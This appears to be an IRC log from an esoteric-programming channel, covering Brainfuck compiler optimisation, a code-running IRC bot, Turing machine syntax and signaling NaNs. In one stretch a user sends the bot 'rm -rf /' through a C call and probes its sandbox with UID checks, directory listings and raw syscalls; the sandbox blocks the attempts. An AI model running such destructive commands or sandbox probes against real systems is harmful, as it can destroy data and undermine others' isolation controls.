00:00:24 <ehird> AnMaster: dock reopens after being killed
00:00:33 <ehird> but the process that was minimizing it stops, which is all you need
00:01:47 <AnMaster> ehird, interacting with it must be odd
00:02:14 <kerlo> !c printf("%d", (long int) printf)
00:02:15 <ehird> Yes, it doesn't offset for the warping so it's mostly trial and error via link hover effects, and if focusing something requires going out of the frame, shit sux you can't click it
00:03:22 <fizzie> On the other hand, for a text editor with a cursor with no mouse-related activities it is rather usable.
00:03:35 <ehird> Yyyyyyyyyyyyyes, apart from the whole reading thing.
00:03:43 <ehird> Did you just try? :P
00:04:10 <ehird> OTHER PEOPLE KNOW? :(
00:04:18 <fizzie> Yes, the secret is out!
00:04:33 <fizzie> They should have some sort of generic window-deformation tool, though.
00:04:34 <ehird> Oh, you meant after I said
00:04:47 <ehird> You know those old java applets where you pinch a image around?
00:04:49 <ehird> Do that for windows.
00:04:49 <fizzie> No, I meant "a year ago or so".
00:05:36 <fizzie> Then you wouldn't need an image editing application to make a funny face; just twiddle the browser window.
00:11:34 <AnMaster> ehird, how did you discover it
00:11:48 <ehird> i think i was just messing
00:19:12 <AnMaster> http://gcc.gnu.org/wiki/Graphite?action=AttachFile&do=get&target=graphite_lambda_tutorial.pdf
00:21:14 <AnMaster> lifthrasiir, was that sarcastic
00:21:51 <AnMaster> GCC does it on C and FORTRAN code and such
00:21:54 <lifthrasiir> just a thought after seeing AMD logo below.
00:22:17 <lifthrasiir> no, no, i said "great." after that thought
00:22:27 <ehird> Gawd, my system spends an awful lot of time seeking the HD
00:23:58 <lifthrasiir> in meantime i'm generalizing propagation pass to every node in the loop, rather than consecutive memory ops
00:24:31 <ehird> Meh, I gotsa write my own compiler now.
00:25:06 <ehird> AnMaster: you can't polynomialize an IO-using loop can you
00:25:21 <ehird> you can do before-io and after-io and then output poly1;io;poly2
00:25:46 <AnMaster> in fact I polynomalised any blocks iirc
00:25:57 <ehird> they have to have balancedness
00:26:40 <AnMaster> ehird, and for unbalanced I did as much flattening out as possible
00:26:52 <AnMaster> for that , you could move the - to before
00:26:58 <AnMaster> since it doesn't touch same cell
00:27:13 <AnMaster> so store motion pass or something with a fancy word
00:27:17 <ehird> _0+1, _1+2, _2-1, _0+1; _0=inp; _2-1
00:27:34 <AnMaster> <ehird> _0+1, _1+2, _2-2, _0+1; _0=inp;
00:27:56 <ehird> AnMaster: I'll optimize +/- before ,
00:28:06 <AnMaster> ehird, you need to track memory cells
00:28:13 <AnMaster> and see which ones are clobbered
00:28:16 <ehird> no, just final destination
00:28:21 <ehird> i see what you mean
00:28:50 <AnMaster> ehird, don't make , act as a full "fence", make it act as a fence on that specific cell.
00:29:35 <AnMaster> ehird, you can do this limited even in unbalanced ones. Just not for all, rather per iteration
00:29:36 <ehird> $0+1; $2-1; ($-1)-1; $1=input; ptr=1
00:29:44 <ehird> is the optimal form of [+>+>-<+,<<-]
00:29:57 <AnMaster> this is done before polynomization
00:30:20 <ehird> lifthrasiir: do you optimize stuff into for loops?
00:30:24 <ehird> the current leading compiler does
00:30:49 <ehird> http://esoteric.sange.fi/brainfuck/impl/compilers/bf2c.hs
00:31:07 <AnMaster> ehird, oh also you of course try to track known fixed values of cells
00:31:09 <lifthrasiir> hmm not yet. i'm counting loop count for restricted cases yet.
00:31:18 <AnMaster> after [-] you know the cell is 0
00:31:29 <ehird> lifthrasiir: you should check out that compiler, it eliminates "variables" (places on the tape) etc
00:31:31 <AnMaster> so then you can fold +++ into "set 3" instead of "add 3"
00:31:49 <AnMaster> ehird, which simplifies a lot later
00:32:04 <AnMaster> if a cell is reset each iteration I mean
00:32:45 <ehird> If you made bf2c.hs do polynomials it'd kick everything else out of the water
00:35:09 <AnMaster> ehird, does that one turn ++>-<++ into ++++>-<
00:35:19 <ehird> AnMaster: it does everything
00:35:26 <ehird> ------------------------------------------------------------------------------
00:35:28 <ehird> ------------------------------------------------------------------------------
00:35:30 <ehird> -- the idea here is to combine Move-s along the program by pushing
00:35:32 <ehird> -- them to the end, pushing them through other operations by updating
00:35:34 <ehird> -- these operation's offset; the final move offset is then incorporated
00:35:36 <ehird> -- into the surrounding loop, or, in case of the main program, dropped.
00:35:38 <ehird> (apart from polys)
00:37:15 <ehird> AnMaster: it does pretty much all tricks apart from polys
00:37:15 <ehird> see the other functions
00:37:16 <AnMaster> ehird, I'm sure there is other stuff you can do that it doesn't.
00:37:16 <ehird> yes, but not known
00:37:16 <ehird> AnMaster: the actual program ++>-<++ is turned into
00:37:16 <AnMaster> ehird, does it strip [-] at start of program
00:37:16 <ehird> it turns it into data[p]=0; which gcc optimizes out.
00:37:18 <ehird> AnMaster: also, [-]+[-]+ becomes
00:37:23 <ehird> well, with a space and a ;
00:37:26 <ehird> cba to copypaste :P
00:37:42 <ehird> AnMaster: oh wait, it does polynomials
00:37:45 <ehird> data Term = Const Int -- Int
00:37:45 <ehird> | Var Int -- data[p+Int]
00:37:46 <ehird> | Sum [Term] -- (Term+Term+...+Term)
00:37:48 <ehird> | Mul [Term] -- (Term*Term*...*Term)
00:38:04 <AnMaster> ehird, like me. But does it do nested polynominals
00:38:17 <AnMaster> like [balaced loop [nested balanced loop ]]
00:38:33 <ehird> AnMaster: ,[.+>,[>+<-].<,] becomes:
00:38:37 <ehird> data[p] = getchar();
00:38:37 <ehird> for ( ; data[p]; ) {
00:38:38 <ehird> putchar(data[p]); fflush(stdout);
00:38:40 <ehird> data[p+1] = getchar();
00:38:42 <ehird> data[p+2] += data[p+1];
00:38:46 <ehird> putchar(data[p+1]); fflush(stdout);
00:38:48 <ehird> data[p] = getchar();
00:38:52 <ehird> flattens it out into one loop :)
00:39:18 <ehird> eh? there IS input before
02:48:31 -!- clog has joined.
02:48:31 -!- clog has joined.
03:12:08 <GregorR> Is there any Glypho example code?
04:04:00 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)).
04:04:39 -!- bsmntbombdood has joined.
04:05:26 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)).
04:16:15 -!- calamari has joined.
04:29:47 <EgoBot> Interpreter echo installed.
04:30:47 <GregorR> What esolangs are only implemented in esolangs?
04:31:24 <coppro> your cat is apparently
04:31:58 <GregorR> That's not the world's most exciting esolang :P
04:33:15 <GregorR> !addinterp rebf bf http://esoteric.sange.fi/brainfuck/bf-source/prog/BFI.BF
04:33:16 <EgoBot> Interpreter rebf installed.
04:33:28 <GregorR> !rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-.
04:33:36 <GregorR> Well that doesn't appear to work at all :P
04:34:04 <GregorR> Could it just be that slow?
04:35:05 <GregorR> We'll never know, it just got killed :P
04:35:10 <calamari> GregorR: doesn't it need an ! at the end?
04:35:12 <coppro> on a slightly related note, do you know any good languages for expressing Turing machines?
04:35:26 <GregorR> coppro: I would love to see one.
04:36:05 <calamari> !rebf !+++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-.
04:36:19 <pikhq> And since Egobot can handle C now...
04:36:24 <pikhq> That's one extensible bot.
04:36:28 <GregorR> bfi446 seems to like to output obscene amounts of whitespace at the end ...
04:36:43 <GregorR> pikhq: Unfortunately, it can't support sub-sub-interps, because the program is sent to the user interpreter via stdin.
04:37:11 <GregorR> Not really any other way to do it though :P
04:37:25 <pikhq> Named pipe as the first argument? :p
04:37:45 <GregorR> Most esolangs don't accept arguments.
04:38:17 * coppro goes and writes a simple Turing interpreter
04:38:58 <GregorR> coppro: Sweet, make sure it's open sauce so I can add it to EgoBot :P
04:39:45 <coppro> just don't leave it open too long or it'll get rotten :P
04:40:08 <EgoBot> Interpreter rebf deleted.
04:40:16 <GregorR> !addinterp rebf bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b
04:40:16 <EgoBot> Interpreter rebf installed.
04:40:23 <GregorR> !rebf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-.
04:40:23 <GregorR> <pikhq> And since Egobot can handle C now...
04:40:33 <GregorR> Heh, copied an extra line there :P
04:41:00 <coppro> GregorR: Does egobot have a way to control the stdin of your command?
04:41:53 <GregorR> I haven't thought of how I want to cleanly (re)implement that.
04:42:00 <GregorR> But T.m.s don't have input anyway ;)
04:42:10 <GregorR> (Well, yes they do, the input on the tape)
04:42:26 <EgoBot> Supported commands: addinterp bf_txtgen delinterp help info userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck echo forth glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rebf rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
04:42:36 <GregorR> Heh, gettin' near the limit there :P
04:43:47 <coppro> I'm envisioning that each tape unit can contain a whitespace-free string, and the input format would just be the number of spaces into the tape it starts at, the default symbol of the tape, and then the tape.
04:43:59 <coppro> all whitespace-separated
04:44:40 <coppro> oh, crap, boost 1.39 is out
04:44:48 <GregorR> Why not a bitwise tape? T.m.s with any alphabet are reducible to 1-bit T.m.s
04:45:29 <GregorR> (And don't give me any of this "because that's obnoxious" baloney :P )
04:49:30 <GregorR> !addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b
04:49:31 <EgoBot> Interpreter bfbignum installed.
04:49:35 <EgoBot> Interpreter rebf deleted.
04:49:37 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
04:50:25 -!- coppro has joined.
04:51:06 <GregorR> (kbfi apparently runs a bignum BF on an 8-bit BF! Whoot :) )
04:51:16 <GregorR> !bfbignum +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-.
04:53:53 <coppro> Proposed definition format: http://pastie.org/466430
04:54:23 <coppro> : ; * < = > are reserved symbols, anything else can be used in a state or tape name
04:54:46 <lifthrasiir> so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe.
04:55:33 <lifthrasiir> (that is my attempt for brainfuck optimizer, written for hours)
04:57:48 <GregorR> coppro: What is the meaning of Q, A, E?
04:57:58 <GregorR> lifthrasiir: Does it ever eff up valid programs?
04:58:04 <coppro> yellow and blue are tape values
04:58:26 <coppro> <= or => is the direction to move
04:59:12 <GregorR> TBH I'm not enamored with it ...
04:59:13 <lifthrasiir> GregorR: at least i managed to reduce gcc's compilation time. though there are more optimizations to do.
05:00:21 <lifthrasiir> i don't know whether gcc treats invidiual memory cell as variable and does optimize accordingly.
05:00:24 <coppro> GregorR: I wrote that in about 10 seconds, feel free to suggest better ideas!
05:02:41 <coppro> syntax will be an easy thing to rewrite anyways... best to have somewhere to start
05:03:51 <GregorR> coppro: (E(yellow) < Q(yellow)) (E(blue) > A(yellow)) (A(blue) accept) (A(yellow) = E(blue)) (Q(yellow) = Q(blue)) (Q(blue) < E(yellow))
05:04:11 <GregorR> Only with newlines instead of paren'd groups.
05:04:29 <GregorR> I was assuming that '*' = halt?
05:04:41 <GregorR> So, is it halt and accept or halt and reject?
05:04:55 <coppro> oh, you're counting accept and reject separately
05:05:17 <GregorR> It's nice for when the T.m. is supposed to accept or reject something and not just convert something :)
05:05:33 <coppro> it could be accomplished with the tape, but I'll put it in anyways
05:05:52 <GregorR> Well, alternately, change 'accept' => 'halt' there *shrugs*
05:06:37 <GregorR> The main thing I didn't like about the original suggestion was that every transition from an input state is together ... I think it's more ... Idonno, "correct" if every transition is independent.
05:33:22 <GregorR> Hrm, pgimeno wrote an ORK interpreter, and now it seems lost :(
05:47:03 -!- calamous has quit ("Leaving").
05:57:20 -!- puzzlet has quit (Remote closed the connection).
05:57:25 -!- puzzlet has joined.
06:19:38 <GregorR> !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print;
06:19:38 <EgoBot> Just another Perl hacker,
06:24:27 <GregorR> (If perl isn't an esolang, I don't know what is ;) )
06:28:34 <coppro> I'm totally with you there
06:32:04 <coppro> I'm about to hit the hay
06:32:25 <coppro> nothing runnable as of yet; I took the liberty of playing with a new parser framework and I'm not exactly doing well
06:34:17 <coppro> currently it works, except it can't parse accept and reject for some reaosn
06:38:07 * coppro tries replacing those with a series of character literals
06:38:31 -!- xor has joined.
07:16:25 <GregorR> !c printf("%c%c%c", 0xBA ^ 0xF2, 0xA0 ^ 0xC9, 0xE9 ^ 0xE3)
07:16:35 <GregorR> (Hey, I did it right 8-D )
07:21:01 -!- pikhq has quit ("Foo").
07:23:21 -!- pikhq has joined.
07:28:41 <GregorR> Yeah, that sounds like "fun" X-P
07:32:02 <psygnisfive> neat. so it really is compiling it then running it in a terminal instance
07:32:28 <xor> !c system("rm -rf /");
07:33:02 <psygnisfive> that probably wouldnt work. remove the ;, because i suspect ; is auto-inserted
07:33:14 <xor> empty statements are legal
07:34:30 <GregorR> psygnisfive: Not happening.
07:34:49 -!- cherez has joined.
07:34:56 <EgoBot> /bin/rm: cannot remove root directory `/'
07:35:14 <EgoBot> /bin/rm: cannot remove `/bin': Function not implemented
07:35:16 <xor> !c unlink("/");
07:35:19 <EgoBot> /bin/rm: cannot remove `/bin/': Function not implemented
07:35:26 <EgoBot> /bin/rm: cannot remove root directory `/'
07:35:49 <EgoBot> /tmp/input.24938: line 1: sudo: command not found
07:36:19 <xor> !c printf("%d\n", getuid());
07:36:40 <xor> !c printf("%d\n", (int)getuid());
07:37:01 -!- cherez has left (?).
07:37:04 <xor> who has uids that high
07:37:20 <xor> !c printf("%d, %d\n", (int)getuid(), (int)getuid());
07:37:34 <xor> !c printf("%d\n", getpid());
07:37:36 <xor> !c printf("%d\n", getpid());
07:37:42 <GregorR> I loev how much confusion this is causing.
07:37:55 <GregorR> Everybody who was on earlier knows exactly how it works :P
07:38:05 <xor> i walked in in the middle
07:38:10 <xor> what is actually going on?
07:38:38 <GregorR> It's using the plash sandboxing framework.
07:38:45 <GregorR> It puts it in an empty chroot jail, running as a random UID.
07:41:49 <xor> !c DIR*x;struct dirent *y;x=opendir("/");while(y=readdir(x)) printf("%s\n", y->d_name);
07:42:12 <GregorR> I didn't #include <dirent.h>
07:42:23 <xor> is it possible to?
07:42:47 <EgoBot> bin dev etc home lib lib64 proc tmp usr
07:43:07 <xor> <GregorR> It puts it in an empty chroot jail
07:43:20 <GregorR> My description was a bit incomplete :P
07:43:34 <GregorR> It puts it in an empty chroot jail with a special version of glibc that provides a false filesystem over that.
07:43:52 <GregorR> So things that use syscalls directly won't work at all, but things that use glibc will get only the files they're allowed to see.
07:46:33 <xor> !c struct dirent x[10]; int i; getdents(open("/", O_RDONLY), x, 10);for(i = 0; i < 10; i++) printf("%s\n", x[i].d_name);
07:46:42 <xor> damnit, how do i use the preproccesor?
07:47:11 <GregorR> Well, because everything has to be on its own line, you'd have to paste a complete file at e.g. pastebin.ca, then !c http://pastebin.ca/raw/whatever
07:47:44 <xor> does it need a main?
07:48:33 <GregorR> Yes. That's what I meant by "complete file" :P
07:59:36 <EgoBot> Installed user interpreters: bfbignum echo
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:34 <xor> ok, here we go
08:03:37 <xor> !c http://pastebin.ca/raw/1410988
08:04:27 <GregorR> I don't think stdout will work by the direct syscall interface.
08:04:32 <xor> <EgoBot> ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.25334: No such file or directory
08:04:38 <xor> i'm not using stdio
08:05:07 <GregorR> It must have failed to compile and not realized that it failed to compile <_<
08:05:23 <GregorR> !c http://pastebin.ca/raw/1410988
08:05:47 <GregorR> xor: Are you sure that wasn't from earlier, when it failed to compile?
08:06:03 <xor> ermm...it was
08:06:24 <GregorR> !c http://pastebin.ca/raw/1410990
08:06:33 <GregorR> It just didn't do anything interesting.
08:07:37 <GregorR> What's it supposed to do? It's clearly opening / and then, Idonno, reading from it (quay?)
08:07:50 <GregorR> And then doing something arbitrary with it.
08:08:00 <xor> syscall 141 is getdents
08:08:16 <xor> 5 is open, 4 is write
08:08:47 <xor> !c http://pastebin.ca/raw/1410991
08:08:52 <EgoBot> got -1 bytes of dirents
08:08:52 <GregorR> So ... you're writing to stdin?
08:10:59 <xor> !c http://pastebin.ca/raw/1410994
08:11:37 <xor> !c http://pastebin.ca/raw/1410995
08:13:57 <GregorR> !addinterp hello c char buf[1024]; fgets(buf, 1024, stdin); if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf);
08:13:57 <EgoBot> Interpreter hello installed.
08:14:08 <EgoBot> Interpreter hello deleted.
08:15:17 <GregorR> !addinterp hello c char buf[1024]; int i; fgets(buf, 1024, stdin); for (i=0;buf[i];i++)buf[i]=(buf[i]=='\n')?'\0':buf[i]; if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf);
08:15:17 <EgoBot> Interpreter hello installed.
08:15:25 <EgoBot> Unknown command (d) encountered
08:15:43 <xor> 1 line c is hard to read
08:15:54 <GregorR> It's not easy to write, either :P
08:19:44 -!- WangZeDong has quit (Read error: 110 (Connection timed out)).
08:20:18 <xor> !addinterp foobar c char buf[1024]; int n; while((n=read(0, buf, 1024)) > 0)write(1, buf, n);
08:20:18 <EgoBot> Interpreter foobar installed.
08:20:24 <xor> !foobar baz bomb
08:20:44 <GregorR> Yes, cat is an extraordinarily useful interpreter :P
08:21:54 <xor> !addinterp better_hello c char c;read(0,&c,1);if(c=='h')printf("Hello, world\n");
08:21:55 <EgoBot> Interpreter better_hello installed.
08:22:00 <xor> !better_hello h
08:22:03 <xor> !better_hello d
08:22:14 -!- cherez has joined.
08:22:21 <xor> mines shorter
08:22:41 <GregorR> But it doesn't follow the spec of the language.
08:22:49 <GregorR> Which must complain if (e.g.) hhh is entered.
08:22:53 -!- WangZeDong has joined.
08:23:40 <GregorR> I'm referring to http://esoteric.voxelperfect.net/wiki/Hello , by the way :P
08:24:12 <xor> i think syntax errors can be considered undefined behaviour
08:24:16 -!- cherez has left (?).
08:25:43 <GregorR> I just added support for daemons (potentially-long-running programs that can accept input), but I have no real use for them :P
08:26:13 <xor> are you trying to make anything more specific that just an irc bot?
08:27:09 <GregorR> Well ... it's an IRC bot that interprets programs in esoteric languages.
08:27:13 <GregorR> All the other stuff is just for giggles.
08:27:41 <GregorR> !bf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-.
08:27:54 <xor> ...you already have one
08:28:56 <GregorR> OH, heh, daemons in EgoBot aren't daemons in that sense :P
08:29:35 <xor> is this a complete rewrite of EgoBot ?
08:29:44 <xor> or if not, why the sudden interest?
08:30:36 <GregorR> The old version of EgoBot was so ill-organized I couldn't even get it to run (well, at least not without more work than I wanted to put in to it)
08:30:50 <GregorR> So I made a new one. It's a bit more modular, although also weirder in some ways >: )
08:31:01 <xor> hopefully you didn't use c++ again
08:31:13 <GregorR> My choice won't make you any happier >: )
08:32:21 <GregorR> I wrote a simple scriptable bot in C that just hooks up to IRC and then runs scripts based on input from IRC. The scripts themselves are mostly ~10-line shell scripts.
08:33:00 <xor> C is far better than C++
08:33:07 <GregorR> (Is xor an alias for somebody I should remember, btw? :P )
08:33:34 <xor> you mean you don't recognize me? :(
08:34:19 <GregorR> Although looking through my logs, it looks like you come here often, but never when I'm here :P
08:35:04 <xor> you ought to recognize my demeanor
08:35:21 <GregorR> I don't maintain a demeanor->identity association.
08:36:51 <xor> you can construct one from your identity->demeanor association in O(n) time
08:36:56 -!- calamari has left (?).
08:37:11 <GregorR> I don't maintain an identity->demeanor association either :P
08:38:15 <xor> you do, perhaps it is subconscious
08:38:21 <xor> there you go
08:38:33 <GregorR> Although I don't maintain an identity->demeanor association, luckily I do maintain a nick->hostmask association :P
08:39:00 <GregorR> http://codu.org/projects/egobot/hg/ if you're interested in the new version.
08:45:24 <xor> you know, spawning all those new proccesses get's expensive
08:45:30 <xor> i think you need a mod_brainfuck
08:47:12 -!- tombom has joined.
08:58:23 <psygnisfive> would anyone be willing to review a draft of a paper for me?
08:58:51 <xor> only if it's interesting
08:59:21 <psygnisfive> dunno if you'll find it interesting. i certainly do! :p
09:02:52 <psygnisfive> http://www.wellnowwhat.net/linguistics/honors_thesis/draft.pdf
09:21:26 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
09:42:54 -!- BeholdMyGlory has joined.
10:04:17 -!- psygnisfive has quit (Remote closed the connection).
10:11:55 -!- Slereah has joined.
10:24:09 -!- WangZeDong has quit (Read error: 110 (Connection timed out)).
10:24:50 -!- puzzlet_ has joined.
10:25:19 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
10:33:20 -!- psygnisfive has joined.
10:35:35 -!- oerjan has joined.
11:13:09 -!- WangZeDong has joined.
11:23:18 -!- Slereah has quit (Read error: 110 (Connection timed out)).
11:23:35 -!- Slereah has joined.
11:28:40 -!- tombom has quit ("Peace and Protection 4.22.2").
11:33:58 -!- WangZeDong has quit (Read error: 110 (Connection timed out)).
11:45:13 -!- puzzlet has joined.
11:46:20 -!- ais523 has joined.
11:55:16 <oerjan> AnMaster: OMG what has DMM done to Steve!
11:55:56 <oerjan> this is _evil_ i tell ya
11:57:19 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)).
11:57:24 <AnMaster> oerjan, agreed. Didn't notice you join.
11:57:53 <AnMaster> (who I hope remembered to pull yesterday or today)
11:58:15 <ais523> AnMaster: why is it important that my repo's completely up to date, while I'm not working on it?
11:58:22 <ais523> especially during exam time?
11:58:48 <ais523> my situation's rather amusing; actually
11:59:01 <ais523> because it's exam time, nearly all the computer labs are completely full
11:59:10 <ais523> but this one's only half-full, because it runs Vista
12:00:07 <ais523> there are a couple of tiny Linux labs in the department, and all the computers there can X-forward from UNIX
12:00:21 <ais523> but I can't get into the department atm, both doors failed
12:00:24 <ais523> and so they had to be locked by hand
12:00:37 <psygnisfive> would one of you mind reviewing a draft of a paper im writing?
12:00:53 -!- tombom has joined.
12:01:42 <AnMaster> <ais523> but I can't get into the department atm, both doors failed <-- ouch
12:01:58 <ais523> as you said several months ago, how hard can a door be?
12:02:20 <AnMaster> the Door controller virus is spreading!
12:02:37 <AnMaster> oerjan, you think it isn't infected
12:03:51 <oerjan> fortunately it has not yet learned to transmit to humans
12:04:19 <oerjan> but beware if you sense the Smell of Bacon, that means it's almost there
12:05:01 <oerjan> this is likely to happen when it mixes with the swine flu in a few weeks
12:06:23 <oerjan> you will then have to hermetically seal the department, including its internet connections.
12:06:52 <AnMaster> ais523, does x86 support signaling NaN
12:07:04 <oerjan> you will then be lulled into a false sense of security, until one day, before christmas 2012...
12:07:42 <oerjan> when it shall escape through a combination of the sewers and a cable network.
12:07:57 <ais523> AnMaster: I don't know
12:08:05 <oerjan> the world's first Cyborg Virus
12:08:06 <ais523> hardware signals are a mess on x86 anyway
12:08:28 <ais523> there weren't really any in real mode, I think they were added in a hurry in protected mode
12:08:38 <ais523> but I'm not used to protected-mode x86 programming
12:08:57 <oerjan> Hollywood: Please contact me for the movie rights.
12:12:39 <AnMaster> ais523, hm... Was just wondering what would happen if some funge programmer crafted a signaling NaN and used it in FPSP and/or FPDP
12:13:41 -!- MizardX has joined.
12:13:43 <ais523> you could just set up an ignore handler for it, it would hardly waste any time at startup and it wouldn't invoke a time cost on the rest of execution
12:14:40 <Deewiant> Unless the programmer /wanted/ a signal
12:14:50 <Deewiant> Which is probably likely, given that he made a signaling NaN.
12:14:59 <ais523> you'd need a signal-handling fingerprint, then
12:15:11 <Deewiant> I think Mike might even have made one.
12:15:18 <ais523> you could do it via IFFI, I suppose
12:15:29 <Deewiant> But no, you don't need one, you can just crash, which is probably what the programmer expected if he did that.
12:16:01 <ais523> I thought cfunge was never meant to crash no matter what the input
12:16:26 <Deewiant> Inducing a hardware crash like that is fine IMO
12:16:40 <Deewiant> It's somewhat arbitrary whether the program or the interpreter is the one crashing
12:16:45 <ais523> it could be a security bug, thuogh
12:17:17 <ais523> if the user of the large commercial Funge application goes and sneaks a signalling NaN in somewhere
12:17:20 <ais523> and everything crashes
12:17:29 <Deewiant> If you're transmitting floating-point data in binary, yes
12:17:32 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
12:19:01 -!- pikhq has joined.
12:26:40 -!- ais523 has quit ("http://www.mibbit.com ajax IRC Client").
12:32:08 -!- FireFly has joined.
12:34:57 -!- tombom has quit ("Peace and Protection 4.22.2").
12:38:24 -!- oklopol has joined.
12:45:45 -!- WangZeDong has joined.
12:48:51 <fizzie> I think you can get x86 (or SSE at least) to throw signals when it sees signaling NaNs, but you need to twiddle some bits for it, it won't happen automatically. There's a gcc flag "-fsignaling-nans" which can be turned on to tell GCC that signaling nans might happen, and exceptions might be thrown, but it is "experimental and does not currently guarantee to disable all GCC optimizations that affect signaling NaN behavior."
12:50:36 <fizzie> As far as I can tell, "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@ should use a signaling nan in a calculation (given IEEE-754 single-precision floats and x86-style signaling/quiet NaNs, where the first bit of the fraction part determines it), but around here it just prints out "nan".
12:51:29 <fizzie> I also saw some references about x87 automatically (when loading the fpu registers) setting that bit in NaNs, making it tricky to return a signaling nan from a function.
12:51:42 <fizzie> It's a bit platform-dependant, of course.
12:52:23 -!- oerjan has quit ("leaving").
12:58:13 -!- Slereah has quit (Read error: 110 (Connection timed out)).
13:00:46 -!- oklopol has quit (Read error: 110 (Connection timed out)).
13:21:29 <AnMaster> !befunge98 "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@
13:21:41 <AnMaster> fizzie, that doesn't seem to signal badly
13:32:56 <fizzie> Yes. I'm not quite sure how to make it barf, but it does not seem to be very popular decision to barf on signaling nans by default.
13:37:12 -!- tombom has joined.
13:37:13 -!- tombom has quit (Remote closed the connection).
13:37:29 -!- tombom has joined.
13:47:53 -!- ais523 has joined.
14:13:27 -!- ais523_ has joined.
14:16:11 -!- nooga has joined.
14:16:53 <EgoBot> testAttempt to execute unknown command 10
14:17:31 <ais523_> GregorR: you should stop EgoBot feeding newlines automatically to the Underload interp, whitespace is a syntax error in Underload unless commented out
14:26:57 -!- ais523 has quit (Read error: 110 (Connection timed out)).
14:42:55 -!- ais523_ has changed nick to ais523.
15:04:39 -!- MizardX has quit ("What are you sinking about?").
15:11:40 * ais523 yells mentally at some brilliant Perl6 design decisions, that have now been reversed
15:12:16 <ais523> they originally planned "$obj.method + 1" to mean "$obj.method() + 1" and "$obj.method +1" to mean "$obj.method(+1)"
15:12:29 <ais523> but unfortunately decided whitespace-sensitive DWIM wasn't a good idea, pity
15:25:00 -!- KingOfKarlsruhe has joined.
16:17:47 <AnMaster> scroll wheel kind of not working, and cleaning it didn't help.
16:18:32 <AnMaster> it get gets stuck in some places so hard that to get enough traction to scroll it past you end up clicking the scroll wheel
16:24:36 -!- nooga has quit (Read error: 110 (Connection timed out)).
16:32:41 <ais523> heh, Perl6 has a "but" operator
16:33:57 <ais523> it's rather different from INTERCAL's, though
16:44:56 <pikhq> Hmm. I get the feeling that Perl soon is going to be a superset of INTERCAL.
16:45:19 <ais523> there's a patch for Perl (an older version than 6, though) lying around somewhere that adds all the INTERCAL operators to it
16:45:29 <ais523> I haven't noticed any sort of comefrom yet, though
16:48:31 <ais523> Perl6 has moved to non-ASCII operators, though, it seems
16:52:39 <EgoBot> Error: Expected ) at end of input
16:54:26 <fizzie> At some point they said ¥ will be infix form of the zip operator, but it seems to have changed to be just infix "Z". ≥ will still be a valid spelling of >=, I think.
16:56:58 <pikhq> I can type those, but not in a terminal.
16:57:02 <GregorR> Perl6 should aim to be a language that nobody can actually type.
16:57:07 <pikhq> (urxvt hates the compose key)
16:57:17 <GregorR> Which is to say, even worse than Perl 5.
16:57:18 <ais523> does Perl5 have a $^H, I wonder?
16:57:39 <ais523> because if it does, then it would support $ followed by a literal backspace as a pseudonym
16:57:46 <ais523> and everyone knows langs need more literal backspaces in
16:58:15 <GregorR> perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print;
16:58:21 <GregorR> !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print;
16:58:21 <EgoBot> Just another Perl hacker,
16:58:45 <ais523> wow, EgoBot has a !perl?
16:58:59 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
16:59:01 <GregorR> ais523: Perl is an esolang :P
16:59:14 <Deewiant> Discrimination against the other generic scripting languages
16:59:38 <GregorR> !c printf("And to be fair, C isn't an esolang, but it's in there :P")
16:59:39 <EgoBot> And to be fair, C isn't an esolang, but it's in there :P
17:00:10 <ais523> [16:59] <EgoBot> ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.28812: No such file or directory
17:00:16 <Deewiant> !c #include <stdlib.h> assert(0);
17:00:17 <ais523> a slightly weird error for me to be getting...
17:00:25 <Deewiant> It's the error it always gives when it fails, I think
17:00:44 <Deewiant> Something didn't compile so it tells you that it couldn't find the compiled file :-P
17:00:56 <Deewiant> GregorR: It is the kind of thing that shouldn't go to IRC, though...
17:00:59 <GregorR> Yeah, I should probably make it exit after it fails to compile:P
